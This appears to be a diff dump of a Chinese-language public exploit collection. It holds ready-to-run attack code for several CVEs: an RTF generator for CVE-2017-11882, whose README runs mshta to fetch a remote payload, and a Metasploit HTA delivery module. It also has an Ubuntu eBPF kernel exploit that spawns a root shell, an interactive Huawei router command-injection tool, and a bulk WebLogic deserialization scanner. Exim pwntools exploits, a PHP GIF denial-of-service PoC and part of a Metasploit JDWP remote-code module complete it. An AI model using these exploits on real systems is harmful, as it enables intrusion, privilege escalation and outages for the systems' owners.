ee5b0000000000030101030a0a01085a5a4141414141414141414141414141414141414141414141
414141414141414141414141414141414141414141120c4300000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000004500710075
006100740069006f006e0020004e0061007400690076006500000000000000000000000000000000
0000000000000000000000000000000000000020000200ffffffffffffffffffffffff0000000000
0000000000000000000000000000000000000000000000000000000000000004000000c500000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000ffffffffffffffffff
ffffff00000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000ff
ffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000001050000050000000d0000004d
45544146494c4550494354003421000035feffff9201000008003421cb010000010009000003c500
000002001c00000000000500000009020000000005000000020101000000050000000102ffffff00
050000002e0118000000050000000b0200000000050000000c02a001201e1200000026060f001a00
ffffffff000010000000c0ffffffc6ffffffe01d0000660100000b00000026060f000c004d617468
54797065000020001c000000fb0280fe0000000000009001000000000402001054696d6573204e65
7720526f6d616e00feffffff6b2c0a0700000a0000000000040000002d0100000c000000320a6001
90160a000000313131313131313131310c000000320a6001100f0a00000031313131313131313131
0c000000320a600190070a000000313131313131313131310c000000320a600110000a0000003131
31313131313131310a00000026060f000a00ffffffff0100000000001c000000fb02100007000000
0000bc02000000000102022253797374656d000048008a0100000a000600000048008a01ffffffff
7cef1800040000002d01010004000000f0010000030000000000
"""
COMMAND_OFFSET = 0x949*2
def create_ole_exec_primitive(command):
if len(command) > 43:
print "[!] Primitive command must be shorter than 43 bytes"
sys.exit(0)
hex_command = command.encode("hex")
objdata_hex_stream = OBJDATA_TEMPLATE.translate(None, "\r\n")
ole_data = objdata_hex_stream[:COMMAND_OFFSET] + hex_command + objdata_hex_stream[COMMAND_OFFSET + len(hex_command):]
return OBJECT_HEADER + ole_data + OBJECT_TRAILER
def create_rtf(header,command,trailer):
ole1 = create_ole_exec_primitive(command + " &")
# We need 2 or more commands for executing remote file from WebDAV
# because WebClient service start may take some time
return header + ole1 + trailer
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="PoC for CVE-2017-11882")
parser.add_argument("-c", "--command", help="Command to execute.", required=True)
parser.add_argument('-o', "--output", help="Output exploit rtf", required=True)
args = parser.parse_args()
rtf_content = create_rtf(RTF_HEADER, args.command ,RTF_TRAILER)
output_file = open(args.output, "w")
output_file.write(rtf_content)
print "[*] Done ! output file --> " + args.output

View File

@ -0,0 +1,53 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end
def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end
def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end

View File

@ -0,0 +1,12 @@
# CVE-2017-11882
### 脚本来自于
* [https://github.com/embedi/CVE-2017-11882](https://github.com/embedi/CVE-2017-11882)
* Ridter[https://github.com/Ridter/CVE-2017-11882/](https://github.com/Ridter/CVE-2017-11882/)
## Usage
```txt
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
```
use mshta
```txt
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
```

View File

@ -0,0 +1,15 @@
# Ubuntu 16.04 本地提权漏洞
## 影响
```
经过分析提权代码中所使用的漏洞是Linux eBPF验证器漏洞CVE-2017-16995与CVE-2017-16996最早在2017年12月由Google Project 0的研究人员Jann Horn发现并报告影响Linux内核版本4.4~4.14。并且在当月Bruce Leidl在github放出了能在内核版本4.11上实现提权的漏洞利用代码。
而近日Vitaly Nikolenko公开的提权代码能够影响最新版本的Ubuntu 16.04是因为该发行版使用的Linux内核版本是4.4也受到漏洞影响并且在漏洞报告后的3个月内Ubuntu一直未修复猜测可能和Jann Horn的最早漏洞报告中未提及漏洞对4.4版本内核的影响有关。
```
## 利用
```
gcc -o pwned ./upstream44.c
chmod 777 pwned
./pwned
```

View File

@ -0,0 +1,247 @@
/*
* Ubuntu 16.04.4 kernel priv esc
*
* all credits to @bleidl
* - vnik
*/
// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
// if different kernel adjust CRED offset + check kernel stack size
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <stdint.h>
#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328
int sockets[2];
int mapfd, progfd;
char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff"
"\x55\x09\x02\x00\xff\xff\xff\xff"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x18\x19\x00\x00\x03\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x00\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x06\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x01\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x07\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x02\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x08\x00\x00\x00\x00\x00\x00"
"\xbf\x02\x00\x00\x00\x00\x00\x00"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x03\x00\x00\x00\x00\x00"
"\x79\x73\x00\x00\x00\x00\x00\x00"
"\x7b\x32\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x02\x00\x01\x00\x00\x00"
"\x7b\xa2\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x7b\x87\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00";
char bpf_log_buf[LOG_BUF_SIZE];
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version) {
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (__u64)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (__u64)license,
.log_buf = (__u64)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries) {
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
static int bpf_update_elem(uint64_t key, uint64_t value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)&value,
.flags = 0,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
static int bpf_lookup_elem(void *key, void *value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)key,
.value = (__u64)value,
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
static void __exit(char *err) {
fprintf(stderr, "error: %s\n", err);
exit(-1);
}
static void prep(void) {
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
if (mapfd < 0)
__exit(strerror(errno));
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
if (progfd < 0)
__exit(strerror(errno));
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
__exit(strerror(errno));
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
__exit(strerror(errno));
}
static void writemsg(void) {
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}
#define __update_elem(a, b, c) \
bpf_update_elem(0, (a)); \
bpf_update_elem(1, (b)); \
bpf_update_elem(2, (c)); \
writemsg();
static uint64_t get_value(int key) {
uint64_t value;
if (bpf_lookup_elem(&key, &value))
__exit(strerror(errno));
return value;
}
static uint64_t __get_fp(void) {
__update_elem(1, 0, 0);
return get_value(2);
}
static uint64_t __read(uint64_t addr) {
__update_elem(0, addr, 0);
return get_value(2);
}
static void __write(uint64_t addr, uint64_t val) {
__update_elem(2, addr, val);
}
static uint64_t get_sp(uint64_t addr) {
return addr & ~(0x4000 - 1);
}
static void pwn(void) {
uint64_t fp, sp, task_struct, credptr, uidptr;
fp = __get_fp();
if (fp < PHYS_OFFSET)
__exit("bogus fp");
sp = get_sp(fp);
if (sp < PHYS_OFFSET)
__exit("bogus sp");
task_struct = __read(sp);
if (task_struct < PHYS_OFFSET)
__exit("bogus task ptr");
printf("task_struct = %lx\n", task_struct);
credptr = __read(task_struct + CRED_OFFSET); // cred
if (credptr < PHYS_OFFSET)
__exit("bogus cred ptr");
uidptr = credptr + UID_OFFSET; // uid
if (uidptr < PHYS_OFFSET)
__exit("bogus uid ptr");
printf("uidptr = %lx\n", uidptr);
__write(uidptr, 0); // set both uid and gid to 0
if (getuid() == 0) {
printf("spawning root shell\n");
system("/bin/bash");
exit(0);
}
__exit("not vulnerable?");
}
int main(int argc, char **argv) {
prep();
pwn();
return 0;
}

View File

@ -0,0 +1,44 @@
import requests
import sys
url_in = sys.argv[1]
payload_url = url_in + "/ctrlt/DeviceUpgrade_1"
payload_header = {'content-type': 'text/xml'}
def payload_command (command_in):
html_escape_table = {
"&": "&amp;",
'"': "&quot;",
"'": "&apos;",
">": "&gt;",
"<": "&lt;",
}
command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>"
payload_1 = "<?xml version = \"1.0\" ?>" \
" <s:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ns1=\"http://appleworld.com/api/schema\">" \
" <s:Body>"\
" <u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">"\
" <NewStatusURL> $("+command_filtered+" > /tmp/1337g) </NewStatusURL>"\
" <NewDownloadURL> $(cat /tmp/1337g) </NewDownloadURL>"\
" </u:Upgrade>"\
" </s:Body>" \
" </s:Envelope>"
return payload_1
def do_post(command_in):
result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)
print result.content
print "***************************************************** \n" \
"**************** Coded By 1337g ****************** \n" \
"* CVE-2017-17215 Remote Command Execute EXP * \n" \
"***************************************************** \n"
while 1:
command_in = raw_input("Eneter your command here: ")
if command_in == "exit" : exit(0)
do_post(command_in)

View File

@ -0,0 +1,4 @@
# CVE-2017-17215
Usage: CVE-2017-12149.py http://targetip:37215/
I am so poor that cant afford to but a HUAWEI router XD so it is not tested on any machine~
but the exp technically should be working

View File

@ -0,0 +1,115 @@
#coding = utf8
import socket
import time
import re,os,sys,codecs
type = 'utf-8'
reload(sys)
sys.setdefaultencoding(type)
IpFile=file('./weblogic1.txt')
fp= codecs.open("./weblogic1_success.txt","a")
timeout=15
VUL=['CVE-2018-2628']
PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
VER_SIG=['\\$Proxy[0-9]+']
def t3handshake(sock,server_addr):
print '\n[*]Connecting to server...'.decode(type)
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
def buildT3RequestObject(sock,port,server_addr):
print '%s:%dcontent-successful...'.decode(type) %(server_addr[0],server_addr[1])
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
date = len(sock.recv(2048))
print 'Send payload request successful, receive length:%d'.decode(type) %(date)
return date
def sendEvilObjData(sock,data):
print 'The payload is being executed, please wait...'.decode(type)
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception as e:
pass
return res
def checkVul(res,server_addr,index):
print 'result:'.decode(type)
p=re.findall(VER_SIG[index], res, re.S)
if len(p)>0:
info='%s:%d exist %s Vulnerability.' %(server_addr[0],server_addr[1],VUL[index])
info=info.decode(type)
print info
info=info+"\n"
fp.write(info)
fp.flush()
else:
print '%s:%d notexist %s Vulnerability'.decode(type) % (server_addr[0],server_addr[1],VUL[index])
def check(host,port,index):
dip=host
global dport
dport=port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
server_addr = (dip, dport)
try:
t3handshake(sock,server_addr)
except Exception as e:
print '%s:%dConnection failed. Please check if the IP is alive...'.decode(type) %(server_addr[0],server_addr[1])
else:
try:
dateout = buildT3RequestObject(sock,dport,server_addr)
if dateout == 0:
print '%s:%d not exist %s Vulnerability.'.decode(type) % (server_addr[0],server_addr[1],VUL[index])
else:
rs=sendEvilObjData(sock,PAYLOAD[index])
# print 'rs',rs
checkVul(rs,server_addr,index)
except Exception as e:
print '%s:%dFrequent requests...'.decode(type) %(server_addr[0],server_addr[1])
finally:
sock.close()
if __name__=="__main__":
ip_list = []
ip_list=[]
print "[*]weblogic url list:",
while True:
line = IpFile.readline()
if len(line) == 0: # Zero length indicates EOF
break
#exit()
line=line.strip()
print line,
ip_list.append(line)
IpFile.close()
print "\n"
for i in ip_list:
host,port=i.split(":")
check(host,int(port),0)
fp.close()
print "[*]Test done,please type weblogic1_success.txt!\n"

View File

@ -0,0 +1,13 @@
## weblogic反序列化漏洞批量检测脚本
---
### Reference
* https://xz.aliyun.com/t/2292
原本的脚本执行时 设置utf8还是一直报错 
所以对内容进行了小小的修改
在fofa上搜索了一些网站进行测试 所得结果和绿盟在线检测一致
---
批量扫描的网站以 ip:port 的格式放在weblogic1.txt中
存在漏洞的网站会存在 weblogic1_success.txt中

View File

@ -0,0 +1,19 @@
# CVE-2018-5711 - Hanging Websites by a Harmful GIF
## Author : Orange Tsai
## Affected
* PHP 5<5.6.33
* PHP 7.0<7.0.27
* PHP 7.1<7.1.13
* PHP 7.2<7.2.1
## POC
```
$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'
Infinite loop here...
```
## Reference
* http://blog.orange.tw/2018/01/php-cve-2018-5711-hanging-websites-by.html

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 KiB

View File

@ -0,0 +1,21 @@
# pip install pwntools
from pwn import *
r = remote('127.0.0.1', 25)
r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
r.sendline('a'*0x1250+'\x7f')
r.recvuntil('command')
r.sendline('BDAT 1')
r.sendline(':BDAT \x7f')
s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ':\r\n')
r.recvuntil('command')
r.send('\n')
r.interactive()

View File

@ -0,0 +1,34 @@
# ARCHIVE FROM https://bugs.exim.org/attachment.cgi?id=1052
# Conversation
# https://bugs.exim.org/show_bug.cgi?id=2199
# https://bugs.exim.org/show_bug.cgi?id=2201
#
#
# CVE-2017-16944 (Associated: CVE-2017-16943)
#
# pip install pwntools
from pwn import *
r = remote('localhost', 25)
r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
#raw_input()
r.sendline('a'*0x1100+'\x7f')
#raw_input()
r.recvuntil('command')
r.sendline('BDAT 1')
r.sendline(':BDAT \x7f')
s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ':\r\n')
r.recvuntil('command')
#raw_input()
r.send('\n')
r.interactive()
exit()

4
CVE_EXP/Exim/README.md Normal file
View File

@ -0,0 +1,4 @@
# Exim
## 简介
* Exim是由剑桥大学Philip Hazel开发的邮件传输代理负责邮件的路由转发和投递。它可运行在绝大多数的类Unix系统上包括Solaris、AIX、Linux、macOS等。相比其他MTAExim配置更灵活支持String Expansion技术能执行诸如条件判断字符转换等功能。

View File

@ -0,0 +1,17 @@
# Java Debug Wire Protocol remote code
* [https://www.rapid7.com/db/modules/exploit/multi/misc/java_jdwp_debugger](https://www.rapid7.com/db/modules/exploit/multi/misc/java_jdwp_debugger)
* [https://www.exploit-db.com/papers/27179/](https://www.exploit-db.com/papers/27179/)
## 验证
`jdb -attach x.x.x.x:8000`执行成功就存在
## 利用
```
msfconsole
msf > use exploit/multi/misc/java_jdwp_debugger
msf exploit(java_jdwp_debugger) > show targets
...targets...
msf exploit(java_jdwp_debugger) > set TARGET <target-id>
msf exploit(java_jdwp_debugger) > show options
...show and set options...
msf exploit(java_jdwp_debugger) > exploit
```

View File

@ -0,0 +1,972 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
HANDSHAKE = "JDWP-Handshake"
REQUEST_PACKET_TYPE = 0x00
REPLY_PACKET_TYPE = 0x80
# Command signatures
VERSION_SIG = [1, 1]
CLASSESBYSIGNATURE_SIG = [1, 2]
ALLCLASSES_SIG = [1, 3]
ALLTHREADS_SIG = [1, 4]
IDSIZES_SIG = [1, 7]
CREATESTRING_SIG = [1, 11]
SUSPENDVM_SIG = [1, 8]
RESUMEVM_SIG = [1, 9]
SIGNATURE_SIG = [2, 1]
FIELDS_SIG = [2, 4]
METHODS_SIG = [2, 5]
GETVALUES_SIG = [2, 6]
CLASSOBJECT_SIG = [2, 11]
SETSTATICVALUES_SIG = [3, 2]
INVOKESTATICMETHOD_SIG = [3, 3]
CREATENEWINSTANCE_SIG = [3, 4]
ARRAYNEWINSTANCE_SIG = [4, 1]
REFERENCETYPE_SIG = [9, 1]
INVOKEMETHOD_SIG = [9, 6]
STRINGVALUE_SIG = [10, 1]
THREADNAME_SIG = [11, 1]
THREADSUSPEND_SIG = [11, 2]
THREADRESUME_SIG = [11, 3]
THREADSTATUS_SIG = [11, 4]
ARRAYSETVALUES_SIG = [13, 3]
EVENTSET_SIG = [15, 1]
EVENTCLEAR_SIG = [15, 2]
EVENTCLEARALL_SIG = [15, 3]
# Other codes
MODKIND_COUNT = 1
MODKIND_THREADONLY = 2
MODKIND_CLASSMATCH = 5
MODKIND_LOCATIONONLY = 7
MODKIND_STEP = 10
EVENT_BREAKPOINT = 2
EVENT_STEP = 1
SUSPEND_EVENTTHREAD = 1
SUSPEND_ALL = 2
NOT_IMPLEMENTED = 99
VM_DEAD = 112
INVOKE_SINGLE_THREADED = 2
TAG_OBJECT = 76
TAG_STRING = 115
TYPE_CLASS = 1
TAG_ARRAY = 91
TAG_VOID = 86
TAG_THREAD = 116
STEP_INTO = 0
STEP_MIN = 0
THREAD_SLEEPING_STATUS = 2
def initialize
super(
'Name' => 'Java Debug Wire Protocol Remote Code Execution',
'Description' => %q{
This module abuses exposed Java Debug Wire Protocol services in order
to execute arbitrary Java code remotely. It just abuses the protocol
features, since no authentication is required if the service is enabled.
},
'Author' => [
'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help
'Christophe Alladoum', # JDWP Analysis and Exploit
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
],
'References' =>
[
['OSVDB', '96066'],
['EDB', '27179'],
['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
['URL', 'http://seclists.org/nmap-dev/2010/q1/867'],
['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],
['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
],
'Platform' => %w{ linux win },
'Arch' => ARCH_X86,
'Payload' =>
{
'Space' => 2048,
'BadChars' => '',
'DisableNops' => true
},
'Targets' =>
[
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux'
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win'
}
]
],
'DefaultTarget' => 0,
'License' => MSF_LICENSE,
'DisclosureDate' => 'Mar 12 2010'
)
register_options(
[
Opt::RPORT(8000),
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),
], self.class)
register_advanced_options(
[
OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),
], self.class)
end
def check
connect
res = handshake
disconnect
if res.nil?
return Exploit::CheckCode::Unknown
elsif res == HANDSHAKE
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def default_timeout
datastore['RESPONSE_TIMEOUT']
end
# Establishes handshake with the server
def handshake
sock.put(HANDSHAKE)
return sock.get_once(-1, datastore['RESPONSE_TIMEOUT'])
end
# Forges packet for JDWP protocol
def create_packet(cmdsig, data="")
flags = 0x00
cmdset, cmd = cmdsig
pktlen = data.length + 11
buf = [pktlen, @my_id, flags, cmdset, cmd]
pkt = buf.pack("NNCCC")
pkt << data
@my_id += 2
pkt
end
# Reads packet response for JDWP protocol
def read_reply(timeout = default_timeout)
length = sock.get_once(4, timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length
pkt_len = length.unpack('N')[0]
if pkt_len < 4
fail_with(Failure::Unknown, "#{peer} - Received corrupted response")
end
pkt_len = pkt_len - 4
response = sock.get_once(pkt_len, timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
while response.length < pkt_len
partial = sock.get_once(pkt_len, timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
response << partial
end
fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length == pkt_len
id, flags, err_code = response.unpack('NCn')
response.slice!(0..6)
if err_code != 0 && flags == REPLY_PACKET_TYPE
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")
end
response
end
# Returns the characters contained in the string defined in target VM
def solve_string(data)
sock.put(create_packet(STRINGVALUE_SIG, data))
response = read_reply
return "" unless response
return read_string(response)
end
# Unpacks received string structure from the server response into a normal string
